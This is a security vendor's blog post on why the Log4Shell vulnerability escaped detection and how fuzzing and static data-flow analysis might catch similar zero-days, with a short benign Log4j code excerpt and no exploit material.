How to Prevent the Next Log4j Style Zero-Day Vulnerability

Advanced insights from the JFrog Security Research team on how to detect and prevent unknown security vulnerabilities in code

Preventing the next Log4j

Note: This blog post was previously published on Dark Reading

Software testing is notoriously hard. Search Google for CVEs caused by basic CRLF (newline character) issues and you’ll see thousands of entries. Humanity has been able to put a man on the moon, but it hasn’t yet found a proper way to handle line endings in text files. It’s those subtle corner cases that have a strong tendency of being overlooked by programmers.

The inherent complexity of Log4j brings this challenge to a new level. The Log4Shell vulnerability (CVE-2021-44228) has been around since 2013 without getting noticed. What tools could have been used to successfully discover the Log4Shell vulnerability before it shook the industry when exposed as a zero-day? Is it realistic to expect automated detection of such security vulnerabilities when they are still unknown? If so, then how come a heavily tested module like Log4j escaped all lines of defense?

Note that this is a significantly harder question to answer than: “how can I detect and patch known vulnerable versions of Log4j in my code base” (which has been extensively addressed these past few weeks, and will not be addressed in this post).

The Zero-Day Vulnerability Detection Challenge`

Since everyone’s hindsight is 20/20, it is painfully clear now that logging API functions will eventually receive user-controlled data, and that JNDI injections are a major concern. However, prior to the discovery of Log4Shell, both facts were not as obvious. For the former fact, the separation of responsibility for validating inputs between the application and the libraries is not well defined, and precise definition of attack surface is unclear. For the latter, although JNDI injections were known for a few years¹˒², the awareness was lacking.

Therefore, probably the biggest obstacle to detecting CVE-2021-44228 (or other similar vulnerabilities) is the vagueness. There is no absolute and complete definition of values which can or cannot be trusted, and operations which may or may not be performed on them. In practice, any analysis will depend on the interpretation of these gray areas.

When the requirements are vague, developers find themselves at a disadvantage. A security-oriented code review attempting to check whether there is “anything wrong” with the behavior of a large software module is an overwhelming task. The reviewers tend to look for local mistakes, as grasping the relationships between different parts of a program separated by tens of function calls is not feasible. In sharp contrast, for an attacker trying to exploit a *specific* vulnerability suspected to be present in the code, the task is much more manageable.


Learn all about the Log4j vulneraility directly from our security research team!
Watch Log4shell on-demand Webinar

Automated Zero-Day Vulnerability Detection – Can It Work?

Fuzzing is an effective dynamic analysis technique for identifying unknown vulnerabilities by executing a program on random (or pseudo-random) inputs and looking for instances where it either crashes or violates some assertions. Would fuzzing have helped in this case?

Fuzzing usually implies looking for crashes which indicate memory corruption. In the context of Java, which is memory safe, crashes will usually not have severe security implications. For meaningful fuzzing, custom hooks on specific logical conditions indicating problematic behavior are needed. In addition, a fuzzing harness which provides the input (to Log4j API functions in our case) needs to be constructed. Both constructions may require some manual effort. After this set-up, fuzzing can be used to detect this bug, or even similar bugs in other software (provided the required hooks and harness are similar enough). However, as in the case of manual code review, the vagueness of requirements and manual effort associated with trying out different assumptions would most likely lead to this problem being missed in fuzz testing as well.

This leads us to our final nominee, static analysis, which inspects the program’s possible behaviors without actually executing it. A specific interesting form of static analysis is data flow analysis – tracing possible paths of data in the program, starting from data sources, and reaching data sinks. In the discussed case, the existence of a data path starting at a Log4j API functions argument and reaching JNDI lookup indicates an exploitable vulnerability.

In the remainder of this post we illustrate the difficulties a modern inter-procedural static analyzer would face when analyzing Log4j with / without a set of predetermined sinks.

Zero-day Detection through Static Analysis – A Deeper Look

Look at the code snippet example below (taken from log4j-2.14.1-core). When the LogEvent e contains in one of its fields the user-controlled string, it signals to the static analyzer that e should be further tracked. Inspecting the virtual call (appender.append(e)) reveals that there are more than twenty implementations to the Appender interface. How does the static analyzer know for sure which implementation is used there? It doesn’t! It cannot. According to the celebrated Halting problem, statically determining which code path will actually be taken during runtime is literally not doable.

So what can our analyzer do? It can over-approximate. Whenever dangerous code paths may exist in your code, your code will be declared as “dangerous”. And just like keeping your front door open overnight doesn’t guarantee that someone will steal your smart TV, the static analyzer will say something equivalent to: “better just lock your front door”.

private final Appender appender; // interface

private void tryCallAppender(final LogEvent e){
    try {
        appender.append(e);
    } catch (final RuntimeException error) {
        ...

The inherent over-approximation of static analyzers is what allows them to scale to real life code. Think of loops. Dynamic methods will inevitably explore the consequent iterations of loops separately. This literally means that the number of states to cover is infinite. In a nutshell, static analyzers will summarize the effect of a loop by considering the effects of 0,1,2, … iterations combined.

So what are the drawbacks of static analyzers? Lack of precision, or in other words, false positives. Since static analyzers combine the effects of many code paths together, including non-feasible ones, the major concern is that users are faced with countless spurious code paths at their package being declared as “dangerous”. This is in contrast to precise, reconstructable output from dynamic methods which are able to pinpoint the exact location of the bug.

More companies are using security oriented static analysis in their development cycle³. Increasingly, static analysis tools provide developers guidance as they code through IDE integration. However, due to the challenge described above, most existing tools will “refuse” to perform data path analyses without proper sink definitions. In many ways, these tools are absolutely right. Even with an explicit set of predefined sinks, there are countless false positives, so imagine what would happen without them.

We suggest that the industry should move toward a more “interactive” type of static analyzer. Imagine a tool that gives developers information on potential risks originating from user inputs while they code. For example, one that marks the data flow from user-controlled inputs, regardless of predefined sinks, and provides visual guidance of tainted user-controlled inputs rather than a determined destination. One can think of an IDE that colors in red bold font strings that may have come from an attacker, giving programmers the option to inspect these “data flow hints” when they seem suspicious. Extending this idea even further, programmers may choose to zoom in on certain code areas and define their own (internal, non API) sources. This flexible approach could be a game-changer in zero-day vulnerability detection.


Book a demo of Xray security tool!
Book a Demo

Conclusion

To summarize, data flow static analysis promises to enable developers to identify vulnerabilities involving manipulated user inputs, like Log4Shell, early on. Today data flow analysis is an active area of security research; bringing this technology to widespread use within developer tools and as part of DevSecOps processes should be an industry target.

While the definition of user-controlled entry points can often be achieved with a program’s API, defining hazardous code sinks that use user-controlled input is trickier. For zero-day vulnerability detection this is even more true. Keep this important notion in mind: developers do not always know what security warning signals to look for. But, having an automatic “companion” that puts its virtual finger on user-controlled input being passed around, may clearly be of help. To achieve this, we advocate interactive IDE support in the form of “shift-left” static analysis plugins.

 

¹ https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
² https://www.veracode.com/blog/research/exploiting-jndi-injections-java
³ http://bodden.de/pubs/nal+17jit.pdf